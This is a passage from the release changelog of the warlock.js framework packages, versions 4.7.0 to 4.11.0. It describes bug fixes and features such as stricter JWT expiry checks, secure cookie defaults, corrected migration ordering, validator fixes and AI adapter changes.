Fixed A bare number (expiresIn: 2592000) is now rejected instead of silently corrupting the expiry. ms *formats* numbers rather than parsing them (2592000 ⇒ "43m"), which then poisoned Date.now() + expiresIn into Invalid Date. Write "30d".
Security A token with no exp claim is now rejected instead of being accepted forever. fast-jwt has no deadline to check on such a token, so verification simply succeeds — measured against fast-jwt@6.2.4, a token with no exp verifies unchanged at clockTimestamp + 100 years. Both jwt.verify and jwt.verifyRefreshToken now require an exp claim.
Security The persisted expires_at is now enforced on every request. authMiddleware previously checked only that the access-token row *existed*; a row whose own expiry had passed still opened the gate, because nothing ever asked. The row is now checked against the clock and deleted on rejection.

@warlock.js/cascade Added 1 Changed 1

Added listPendingMigrations() — the registered migrations that have not executed, in the order they will execute, mirroring listExecutedMigrations(). The set was already computed inside the runner on every migrate run; getPendingMigrations() was private and had no read-only exit, so nothing outside could ask "what will run next?" without running it
Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/context Changed 2

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
Changed Adds a test script. The package shipped a tests/ directory with no way to run it, so the suite was reachable only by knowing to type npx vitest — which resolves whatever happens to exist in the tree rather than anything the manifest asked for

@warlock.js/access Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-anthropic Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-bedrock Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-deepseek Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-google Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-groq Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-live Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-mistral Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-ollama Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-openai Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-panoptic Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-tools Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-workspace Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/ai-xai Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/fs Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/herald Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/logger Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/notifications Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/scheduler Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

@warlock.js/seal Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

create-warlock Changed 1

Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to

4.11.0

August 10, 2026

@warlock.js/core fixes four cases where the framework reported success it had not verified: a production bundle that imported a package your app never declared and so could not boot under pnpm, env() returning its default inside warlock.config.ts, warlock start printing its started banner before the app had booted, and a storage connector that could not start an app shipping no src/config/storage.ts. Also raises @mongez/dotenv to ^1.3.1.

@warlock.js/core Added 4 Changed 1 Fixed 5 Deprecated 1

Added startHttpTestServer({ port }) — run an integration suite on an explicit port, honoured over HTTP_PORT in .env, which the internal bootstrap re-reads and no caller could previously override
Added the test server preflights its port and fails with "stop the dev server" naming the port, instead of a raw EADDRINUSE from inside Fastify
Added Application.setServedPort() and a port field on the readiness signal, so a supervisor learns the bound http port from the app rather than re-deriving it from config it may not be able to read
Added setConfig(name, value) — the write side of the config store, exported separately from the read-only config accessor so registering configuration stays a deliberate boot-time act
Changed @mongez/dotenv is now required at ^1.3.1 (was ^1.2.4). Under the old range a fresh install resolved to 1.3.x while an existing lockfile could stay on 1.2.x, so we could not say which behaviour a given consumer actually had. 1.3.x only changes cases that were previously wrong: env() now consults process.env instead of returning a default for a key the environment defines, ${VAR} interpolation throws naming the key instead of baking the string "undefined" into a value, and numeric coercion no longer corrupts values like 0123456789 or IDs beyond 2^53. Precedence between .env files and injected variables is unchanged
Fixed A production bundle no longer imports a package your app does not declare. warlock build's generated config loader emitted import config from "@mongez/config" — one of _core's_ dependencies, never the app's. npm and yarn hoist flat so it resolved by accident; under pnpm's strict layout the shipped bundle died at boot with ERR_MODULE_NOT_FOUND for a package the app had no reason to install. The generator now emits setConfig from @warlock.js/core, which the app does declare, and Node resolves @mongez/config from core's own install — correct under pnpm, and portable, unlike baking absolute paths into an artifact meant to be copied between machines
Fixed env() inside warlock.config.ts no longer always returns its default. The config module was evaluated _before_ any .env file was read, so a project following the documented build: { outdir: env("BUILD_OUT", "dist") } recipe silently got dist no matter what the environment said — under every command, dev included, and under build and start env was never loaded at all. Env files are now loaded before warlock.config.ts is evaluated, for every command
Fixed An application without src/config/storage.ts can boot again. The storage connector starts unconditionally, on the documented grounds that storage.init() falls back to a built-in local driver so file storage works out of the box. That fallback was never implemented: init() resolved the default driver _name_ and then found nothing registered under it, so any app without a storage config died at boot with Storage driver "local" is not configured. A built-in local driver rooted at uploadsPath() is now registered before configured drivers — so an app defining its own local still overrides it, and naming a driver that genuinely does not exist still fails loudly
Fixed startHttpTestServer no longer breaks a suite that configures http.port: 0. 0 is the OS's "pick a free port for me" idiom, but the guard only checked typeof port !== "number", so 0 fell through: the preflight bound an unrelated ephemeral port and passed without proving anything, and 0 was then published as the bound port, pointing every request in the suite at http://host:0. An explicit 0 now takes the same path as no configured port — no preflight, nothing published, Fastify picks the port
Fixed warlock start no longer claims success before the app has booted. The startup banner printed in preAction — before the child process was even spawned — and the failure that followed went only to stderr. Any CI gate or process supervisor that watches stdout for the banner read a 🔴 boot failure as a healthy start, which is how a production app that never booted was recorded as running. The banner now prints only when the application reports a completed boot, and a child that dies before reporting is a failed start: the message goes to both stdout and stderr, and the exit code is forced non-zero even when the process itself exited 0
Deprecated the env preloader flag on a CLI command is no longer read — env is loaded for every command that declares a preload block. Setting it is harmless and does nothing; remove it. Dropped at 5.0

4.10.0

August 9, 2026

@warlock.js/core makes response.cookie secure by default — httpOnly, sameSite: "lax", and secure outside development are applied unless you override them. Nothing set them before, so a cookie was readable by any injected script, sent in cleartext, and attached to cross-site requests unless the developer passed three flags on every call; nothing failed when they were missing. @warlock.js/auth documents two things that were previously only findable by reading source: that authMiddleware gates on flat user-type matching and points at @warlock.js/access for permission matrices and who-may-act-on-whom policies, and that auth is bearer-token by design, with cookie sessions and CSRF being app-level work.

@warlock.js/core Changed 1

Changed response.cookie is now secure by default — httpOnly: true, sameSite: "lax", and secure: true outside development are applied unless overridden. Previously nothing set them: a cookie was readable by any injected script, sent in cleartext, and attached to cross-site requests unless the developer knew to pass three flags on every call. Nothing failed when they were missing, so the app worked and was simply insecure. Precedence is framework defaults → http.cookies.options → the per-call argument, so opting out stays possible and explicit. secure is relaxed only in development, because browsers drop a Secure cookie over plain http

@warlock.js/auth Changed 1

Changed protect-routes documents two things that were previously only discoverable by reading source: that authMiddleware gates on user type by flat string match and cannot express a permission matrix, role hierarchy, or who-may-act-on-whom — with a worked pointer to @warlock.js/access (gate, can, definePolicy) for exactly that; and that auth is bearer-token by design, with cookie sessions and CSRF being app-level work rather than an omission

4.9.2

August 9, 2026

@warlock.js/cascade fixes migrate:rollback running down() migrations in *apply* order — the rollback list was reversed and then re-sorted ascending, putting it straight back, so any batch with more than one migration could drop a table before dropping the column added to it. @warlock.js/seal fixes v.literal(""), which could never pass because every validator is required by default and "" counts as empty — while .optional() looked like a workaround but silently disabled the literal check entirely; seal also stops returning the rejected input as data on a failed validation, closing a leak where an outbound DTO's internal fields reached callers who didn't branch on isValid, and fixes v.number().toFixed(n), which returned a string its own number rule then rejected. @warlock.js/core stops the generated dev-server loader hook shipping bare esbuild / get-tsconfig imports into your project, which broke warlock dev on pnpm's strict layout.

@warlock.js/cascade Fixed 2

Fixed migrate:rollback and migrate:rollback --all ran down() migrations in apply order instead of reverse. getMigrationsToRollback reversed the executed list and then re-sorted it ascending, which put it straight back into forward order and made the reverse dead code — so a rollback would drop a table before dropping the column added to it, failing with relation "…" does not exist. Any batch containing more than one migration was affected; single-migration batches hid it because one item has no order to get wrong
Fixed migration ordering now lives in migration-order.ts with an explicit sortMigrationsForRollback. The descending sort is required, not cosmetic: the executed list is read back ordered by batch, name, so it is alphabetical rather than chronological and simply *not* re-sorting after the reverse would have produced reverse-alphabetical order — a different wrong answer

@warlock.js/seal Fixed 4

Fixed v.literal("") could never pass. Every validator is required by default and required rejects anything the empty-value check calls empty — which includes "" — so a schema demanding an exact empty string reported "is required" for a field that was present. A literal set containing an empty value now uses present (the key must exist) instead of required, leaving the literal set to judge the value. Only the empty string was affected; v.literal(0) and v.literal(false) always worked
Fixed v.literal("").optional() silently disabled the literal check rather than fixing it, accepting "", null and a missing key alike. The literal rule now runs on empty values (requiresValue: false) while treating absence as the required/present rule's question, so .optional() means optional again and a present value must still match
Fixed a failed validation no longer returns the input it rejected. object returned the raw input — including the unknown keys it had just complained about — while discriminatedUnion returned undefined; the same call shape had two contracts. Validating an outbound DTO to keep internal fields out of a response, then reading data without branching on isValid, shipped every field the schema existed to exclude. data is now undefined whenever isValid is false
Fixed v.number().toFixed(n) could never produce a valid result — the mutator returned Number(value).toFixed(n), a _string_, which the validator's own number type rule then rejected. It now yields a number (3.14159 → 3.14), so the method works where it lives. No working code can have depended on the old output, since every such validation failed; for a fixed-point _string_, format at the presentation edge rather than asking a number schema to emit one

@warlock.js/core Fixed 1

Fixed the dev server's generated .warlock/loader-hook.mjs no longer ships bare esbuild / get-tsconfig imports. That file is written into the consuming app's directory, so a bare specifier resolves from the app — but both packages are core's own dependencies. npm and yarn hoist flat so it worked by accident; under pnpm's strict layout the dev server died with ERR_MODULE_NOT_FOUND for a package the app never imported. Each npm specifier is now rewritten at generation time to an absolute path resolved from core's own install, so no consumer has to declare a phantom dependency

4.9.1

August 6, 2026

@warlock.js/cascade fixes a silent data-loss bug in .save({ merge }): a Date written over a column that already held a Date was discarded — the dirty tracker treated any typeof "object" value as mergeable and recursed into the Date, which has no own enumerable properties, so nothing was copied and the column never went dirty. save() returned { success: true, modifiedCount: 0 } and issued no UPDATE. Only plain objects deep-merge now; Date, Map, Set and every other class instance replace.

@warlock.js/cascade Fixed 1

Fixed save({ merge }) silently dropped a Date written over a column that already held a Date — the dirty tracker's merge treated anything typeof "object" as mergeable and recursed into the Date, which has no own enumerable properties, so nothing was copied and the old value survived. The column never went dirty and save() returned { success: true, modifiedCount: 0 } without issuing an UPDATE. Only plain objects deep-merge now; Date, Map, Set, RegExp and every other class instance replace, matching what model.data already did. Writing into an empty column always worked, so only overwrites were affected

4.9.0

August 6, 2026

@warlock.js/core's dev server now runs supervised — a thin parent respawns the server instead of stacking a process per restart — and restarts itself when warlock.config.ts or .env changes, with keyboard shortcuts (r restart, c clear, q quit, h help, u update-and-restart), crash recovery, Bun lockfile support in update / add, new update --dry-run / --check flags, and an honest offline update check that no longer reports "already up to date" when npm was never reached. @warlock.js/cascade fixes migrations running in filename order instead of chronological order on a fresh database — the sort parsed timestamps with new Date(), which cannot read the framework's own MM-DD-YYYY_HH-MM-SS stamp, so every one collapsed to the alphabetical tiebreaker. The release also fixes build.outDirectory — the name the docs used for several releases while only build.outdir was ever read, so a config written from the documentation was silently ignored. @warlock.js/ai workflow run steps now correctly nest a directly-invoked agent (workflow → agent → tool) instead of producing two disconnected top-level traces, and @warlock.js/ai-openai now defaults reasoning_effort to "none" automatically whenever a reasoning-capable model is called with tools, closing the gap that left tool calls broken on gpt-5 / o-series models unless every call site opted in by hand.

@warlock.js/core Added 7 Changed 1 Fixed 6

Added warlock dev keyboard shortcuts — r restart, c clear, q quit, h help — armed once the server is ready and listed by h. TTY-gated, and Ctrl+C keeps working while raw mode is held
Added press u on the warlock dev update notice to update every @warlock.js/* dependency, install, and restart the server in place — no Ctrl+C round-trip. Falls back to the printed npx warlock update command when the terminal can't deliver keypresses (CI, piped stdin, supervisors)
Added warlock dev now runs as a supervised pair — a thin parent that owns the terminal and a disposable worker — so restarting replaces the worker instead of stacking a process per restart, and the supervisor never loads config or connectors
Added warlock dev restarts automatically when warlock.config.ts or any .env* changes, since neither can be hot-reloaded; opt out with devServer.restartOnConfigChange: false for the previous warning
Added Bun support in warlock update and warlock add — bun.lock / bun.lockb are detected and drive bun install / bun add
Added warlock dev recovers from a crash: a worker that dies after running healthily for 5s is replaced automatically, while one that dies during boot is left alone so its error isn't buried under a reprint. Capped at 3 crashes per minute
Added warlock update --dry-run reports what would change without touching anything, and --check does the same but exits 1 when a package is behind — a CI gate for staying current
Changed the dev-server update check remembers npm's answer for 24h in .warlock/update-check.json, so a day of restarts costs one lookup instead of one per boot; failed lookups are never cached, and the entry is dropped once an update is applied
Fixed warlock start spawns process.execPath instead of a bare node, which failed with ENOENT wherever node is not on PATH (systemd units, cron, slim containers) and could otherwise pick a different Node version than the one running the CLI
Fixed warlock add no longer carries its own package-manager detection that silently produced an undefined install command when the project had no recognised lockfile — it shares the updater's detection
Fixed build.outDirectory — the name the docs have used for several releases — is now actually read. Only build.outdir ever was, so a config written from the documentation was silently ignored and the bundle still went to dist/. Both names now work (outdir wins if you set both) and the docs lead with outdir
Fixed warlock update no longer reports "All @warlock.js packages are already up to date" when it never reached the npm registry — an offline run now says so and changes nothing
Fixed a failed package-manager install during warlock update no longer loses the rewritten package.json; the CLI still exits non-zero
Fixed the dev server's update check now uses a 5s abort budget instead of 30s, so a hanging network can't leave a pending request behind a running server

@warlock.js/cascade Fixed 2

Fixed migrations ran in filename order instead of chronological order on any fresh database. SQLGrammar.sort — the comparator that decides execution order across every pending migration — parsed createdAt with new Date(), which cannot read the MM-DD-YYYY_HH-MM-SS stamp the framework's own generator produces; every timestamp became NaN, was floored to 0, and the alphabetical tiebreaker silently decided the whole ordering. A January 2026 migration would run before a December 2025 one
Fixed parseCreatedAt now lives in its own module and backs both migration comparators through a shared compareCreatedAt, so the two can no longer drift apart — one of them being wrong was the symptom, two comparators sorting the same data by different rules was the defect

@warlock.js/ai Added 1 Fixed 1

Added StepSnapshot.children — reports a workflow run step captured from any executable its callback invoked DIRECTLY (agent.execute(...) rather than the declarative agent: field), via the same ambient RunFrame a supervisor/team/orchestrator callback already gets. report.children now includes these alongside step.agent reports.
Fixed A workflow run step that calls agent.execute() directly no longer produces two disconnected top-level traces (one "agent", one "workflow") with the agent missing from report.children — it now nests correctly (workflow → agent → tool, usage/cost rolled up) and no longer also self-routes as a separate observed trace. Declarative step.agent was already correct; this closes the gap for ad-hoc calls inside run (self-documented in workflow/engine.ts as a known limitation).

@warlock.js/ai-openai Fixed 1

Fixed reasoning_effort now defaults to "none" automatically on a reasoning-capable model called WITH tools and no explicit reasoning.effort — previously this required every call site to opt in (added in 4.8.0), so any agent/model config that didn't know to pass it kept hitting rejected tool calls (empty replies, or a hard 400 on newer model generations — "Function tools with reasoning_effort are not supported ... in /v1/chat/completions"). An explicit reasoning.effort still overrides the default in either direction; calls with no tools are unaffected.

4.8.2

July 22, 2026

@warlock.js/ai-panoptic's dashboard gains an "Evaluate system prompt" drawer action — its first write-capable route — plus a round of dashboard reliability fixes (auth-token forwarding, a silent cache-store failure hook) and a @warlock.js/ai peer-dependency / redact() hardening pass.

@warlock.js/ai-panoptic Added 2 Fixed 2

Added DashboardOptions.evaluate — an "Evaluate system prompt" drawer action that grades a trace's last captured system prompt via an LLM judge, editable per-run instructions included; the dashboard's first and only write-capable route (POST .../spans/:spanId/evaluate), off unless configured and gated by the same authToken / allowedHosts checks as every other route
Added evaluateSystemPrompt / extractLastSystemPrompt / findSpanById — the building blocks behind the drawer action, exported for scripting a grade outside the UI
Fixed The dashboard's client-side poll (GET {basePath}api/aggregate / api/traces) now carries the page's ?token= as an Authorization: Bearer header on every request — previously, once authToken was configured the initial page load succeeded (the browser's navigation request carries the query string) but every subsequent 2s poll had no auth attached and 401'd forever, leaving the dashboard stuck on an empty/error state despite loading successfully
Fixed PanopticConfig.cache failures (hydrate-on-startup or write-through — bad URL, unreachable Redis, auth failure) are no longer swallowed into total silence: a new PanopticConfig.onError hook fires on every failure, defaulting to log.error("ai-panoptic", "cacheStore", error) when not supplied, so a misconfigured cache driver now surfaces in logs instead of leaving the dashboard permanently empty with zero diagnostic

@warlock.js/ai Added 1 Fixed 2

Added judgePromptBody / formatCriteria / JudgeOutcome — the LLM-as-judge building blocks ai.prompts().validate() already used internally are now public, so other packages (@warlock.js/ai-panoptic's trace-level system-prompt evaluation) can grade arbitrary prompt text against a model + rubric without a second judging implementation
Fixed redact() no longer collapses a raw Error (or an Error nested in a cause chain) to {} — name / message / stack aren't own-enumerable on Error instances, so the previous Object.entries() walk saw none of them. This was silently dropping tool/agent error cause detail wherever redact() runs it, including @warlock.js/ai-panoptic's trace cause field (a failed tool's ToolExecutionError.cause showed as an empty object in the dashboard instead of the underlying thrown error)
Fixed @warlock.js/ai-openai and pdf-parse declared as optional peerDependencies — both are lazily import()ed (the skills-catalog embedder probe; ai.rag.loadPdf) but weren't listed in either dependencies or peerDependencies, so pkgist's bundler vendored their source directly into ai's own build instead of leaving them external (the same split-brain class of bug as core's missing @warlock.js/ai peerDependency, fixed in 4.8.1). For @warlock.js/ai-openai specifically this meant the skills-catalog embedder-installed probe always resolved against the vendored copy bundled into ai, so it reported an embedder provider as "installed" even when the app never installed @warlock.js/ai-openai itself

4.8.1

July 21, 2026

Fixes a split-brain bug where @warlock.js/core's bundler vendored its own disconnected copy of @warlock.js/ai (and the same gap for @warlock.js/access / @warlock.js/notifications) because they weren't declared as peer dependencies — the vendored copy's config never reached listeners (e.g. ai-panoptic's dashboard) registered against the real installed package. Also logs previously-swallowed onConfigApplied listener errors in @warlock.js/ai.

@warlock.js/core Fixed 1

Fixed @warlock.js/ai, @warlock.js/access, and @warlock.js/notifications declared as optional peerDependencies (matching the existing @warlock.js/herald pattern) so pkgist's bundler leaves them external instead of vendoring their source into core's own build — a vendored @warlock.js/ai copy was a disconnected module instance whose config listeners (e.g. ai-panoptic's dashboard wiring) never received ai.config(...) calls routed through the real, separately-installed package

@warlock.js/ai Fixed 1

Fixed setAIConfig's onConfigApplied listener notification no longer swallows a misbehaving listener's exception silently — it's now logged via log.error("ai", "configListener", error)

4.8.0

July 19, 2026

A new reasoning: { effort: "none" } level in @warlock.js/ai runs a reasoning model without reasoning, explicitly — @warlock.js/ai-openai emits reasoning_effort: "none" so OpenAI gpt-5 / o-series models accept function tools instead of returning empty replies, and the budget-based adapters (@warlock.js/ai-anthropic, @warlock.js/ai-google, @warlock.js/ai-ollama) map it to reasoning-off.

@warlock.js/ai-openai Added 1

Added reasoning: { effort: "none" } now emits reasoning_effort: "none" on the wire — unblocks function tools on gpt-5 / o-series reasoning models, which otherwise reject tools on Chat Completions while reasoning is active and return empty replies.

@warlock.js/ai Added 1

Added reasoning: { effort: "none" } — a neutral "run without reasoning, explicitly" level on ReasoningEffort; OpenAI emits reasoning_effort: "none" so gpt-5 / o-series accept function tools, and budget-based adapters (Anthropic / Bedrock / Google / Ollama) disable thinking.

@warlock.js/ai-anthropic Changed 1

Changed reasoning: { effort: "none" } disables extended thinking (emits no thinking block) — the neutral "run without reasoning" level, consistent across adapters.

@warlock.js/ai-google Changed 1

Changed reasoning: { effort: "none" } maps to thinkingBudget: 0 — Gemini's native reasoning-off switch, the neutral "run without reasoning" level.

@warlock.js/ai-ollama Changed 1

Changed reasoning: { effort: "none" } maps to think: false — the neutral "run without reasoning" level, consistent across adapters.

4.7.0

July 6, 2026

@warlock.js/ai gains the prompt compiler — systemPrompt().refined({ model, criteria, store }) lazily rewrites human-authored prompt text into a model-optimized version, pinned like a lockfile with machine-enforced placeholder parity and an always-safe fallback to the original — plus ai.prompts.validate({ criteria }) to grade a prompt against your own rules. @warlock.js/fs gains an ergonomic async fs facade — fs.files.* / fs.dirs.* grouping, lazy File / Directory handles, read-modify-write helpers (edit / editJson / mergeJson), recursive walk, and zero-dependency schema-validated JSON. @warlock.js/cascade lands a driver-correctness pass — a dozen real Postgres/MongoDB driver fixes (multi-row findAndUpdate, where-scoped update / unset / deleteOne, pivot detach, MongoDB with() eager-loading, per-subclass global scopes) plus new lockForUpdate({ skipLocked }) row locking (FOR UPDATE SKIP LOCKED).

@warlock.js/ai Added 2

Added systemPrompt().refined({ model, criteria, store }) — the prompt compiler. Humans keep writing human prompt text; the refined wrapper lazily rewrites it into a model-optimized version on first agent use and pins the result like a lockfile (re-compiled only when the source text, refiner model, criteria, or recipe version change — never silently). await refined.refine() returns the compiled template string (placeholders intact — routes / previews / warmup / CI; throws PromptRefinementError on failure) and await refined.refinePrompt() returns a composable prompt with meta.refinedFrom / meta.refinerModel provenance (register it to diff original vs refined). Placeholder parity is machine-enforced (one repair re-ask, then rejected); the lazy agent path never throws — it warns once and serves the original.
Added ai.prompts.validate({ criteria }) — validate a prompt against your own rules. Pass criteria (a string or a list of short rules) and, when a judge model is supplied, it replaces the built-in quality rubric so the judge's score / issues reflect your criteria (a failed rule is named in issues). Advisory only — never flips the deterministic ok; folded into the judgeCache key so different rules re-run.

@warlock.js/fs Added 7

Added fs shorthand facade — an async, ergonomic surface over the primitives: fs.files.* (file ops), fs.dirs.* (directory ops), lazy fs.file(path) / fs.dir(path) handles (File / Directory classes), and fs.exists(path) (type-agnostic). Delegates to the existing *Async primitives; synchronous callers keep using the bare primitives (the bare = sync / *Async = async charter is unchanged)
Added New file ops on the facade: append / prepend / appendLine / appendJsonLine (NDJSON), size, isEmpty, ensure (create-if-missing, never truncates), touch, edit (read → transform → write), editJson, mergeJson (shallow, or { deep: true }), ensureJson (get-or-create), checksumMatches, readLines (streaming async iterator), and an EXDEV-safe move (creates the destination parent, falls back to copy+unlink across devices)
Added New directory ops on the facade: empty (emptyDir), size (recursive byte sum), count, isEmpty, walk (constant-memory async iterator of { path, name, type }), a recursive option on list / listFiles / listDirs, and hash (stable directory fingerprint)
Added fs.files.getJson(path, { schema }) — validate parsed JSON against any Standard Schema validator (seal / zod / valibot) with zero dependency (calls the schema's own ~standard.validate); throws JsonSchemaValidationError on failure. { default } returns a fallback when the file is missing
Added File / Directory handles are lazy (no IO in the constructor) and immutable (copy / move / rename / copyTo / moveTo return a NEW handle); pure-path helpers name / basename / extension / parent() and child file(...) / dir(...); Directory.listFiles() / listDirs() return File[] / Directory[]
Added fs.hash namespace — fs.hash.string / fs.hash.buffer (sync, pure/in-memory) and fs.hash.file / fs.hash.dir (async, read from disk)
Added fs.files.get() is overloaded: a text read returns string (no cast); pass { encoding: null } for a Buffer

@warlock.js/cascade Added 2 Fixed 11

Added lockForUpdate({ skipLocked?, noWait? }) — row locking on SELECT (FOR UPDATE [SKIP LOCKED | NOWAIT]), the concurrent job-queue claim shape; Postgres-only, the MongoDB driver throws
Added DatabaseDriverContract.supportsSqlSerialization — capability flag (default true); false routes the MigrationRunner through direct migration-driver execution
Fixed Postgres model-level sum/avg/min/max/distinct/countDistinct/pluck/value no longer return 0/undefined — the hydration callback is reset before reading, matching MongoDB
Fixed Postgres Model.findAndUpdate / Model.atomic now update every matching row instead of one arbitrary row (a hidden LIMIT 1; MongoDB was already multi-row)
Fixed Postgres query-builder update() / unset() now honor the chained where filter — previously they updated the whole table
Fixed Postgres query-builder deleteOne() deletes exactly one row — the internal limit(1) was silently ignored, deleting every matching row
Fixed Postgres pivot detach(ids) (and sync / toggle) works — the driver translates Mongo-style filter operators ($in, $nin, $eq, $ne, $gt, $gte, $lt, $lte) instead of binding the operator object literally
Fixed CHECK constraints are no longer silently dropped on the MigrationRunner SQL path — the Postgres serializer emits ADD CONSTRAINT ... CHECK for this.check(...) and column .check(...)
Fixed MongoDB with() eager loading is no longer a silent no-op — get() runs the relation loader, same wiring as Postgres
Fixed MongoDB pipelines order $match before $project (SQL semantics), so select() before where() no longer strips the filter column and returns [] — fixes pivot attach de-duplication and sync / toggle deltas
Fixed The MigrationRunner works on MongoDB — migrations execute directly through the migration driver; exportSQL stays SQL-only with a clear unsupported error
Fixed MongoDB dropIndex(table, name) honors the literal index name — the string form is no longer rewritten to <name>_1 (the columns-array form keeps the convention name)
Fixed addGlobalScope / addLocalScope register per-subclass — a scope added on one model (e.g. a soft-delete notDeleted) no longer leaks onto every other model

create-warlock Added 2 Changed 1

Added Non-interactive scaffolding — create-warlock <name> --yes (with --db, --pm, --features, --ai, --git, --jwt) scaffolds the entire app in a single command, no prompts
